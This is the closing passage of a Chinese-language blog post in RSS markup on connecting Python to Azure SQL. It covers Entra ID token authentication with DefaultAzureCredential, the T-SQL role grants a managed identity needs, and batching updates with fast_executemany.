<p class="wp-block-paragraph">在 Azure SQL 裡執行以下 T-SQL，把你的 Managed Identity 或 Entra ID 帳號加入：</p>



<pre class="wp-block-code"><code>-- 使用 Azure AD 帳號登入後執行
CREATE USER &#91;your-managed-identity-name] FROM EXTERNAL PROVIDER;
ALTER ROLE db_datareader ADD MEMBER &#91;your-managed-identity-name];
ALTER ROLE db_datawriter ADD MEMBER &#91;your-managed-identity-name];</code></pre>



<p class="wp-block-paragraph">本機開發時，用 Azure CLI 登入後 <code>DefaultAzureCredential</code> 就會自動使用你的帳號：</p>



<pre class="wp-block-code"><code>az login</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">小結</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>問題</th><th>解法</th></tr></thead><tbody><tr><td>連線字串含密碼</td><td><code>DefaultAzureCredential</code> + Access Token (<code>SQL_COPT_SS_ACCESS_TOKEN</code>)</td></tr><tr><td>逐筆 UPDATE 慢</td><td><code>cursor.fast_executemany = True</code> + <code>executemany()</code></td></tr><tr><td>本機 / 正式環境切換麻煩</td><td><code>DefaultAzureCredential</code> 自動偵測驗證來源</td></tr><tr><td><code>ActiveDirectoryMsi</code> vs 手動 Token</td><td>手動管理更靈活，本機開發也能用，直接選它</td></tr><tr><td>Token 過期問題</td><td>每次 <code>connect()</code> 都呼叫 <code>get_token()</code>，不要快取 <code>token_struct</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">兩個改動加起來不超過 10 行，卻同時解決了安全性與效能問題，值得加進你的 Azure SQL 工具箱。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/05/azure-sql-token-fast_executemany/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
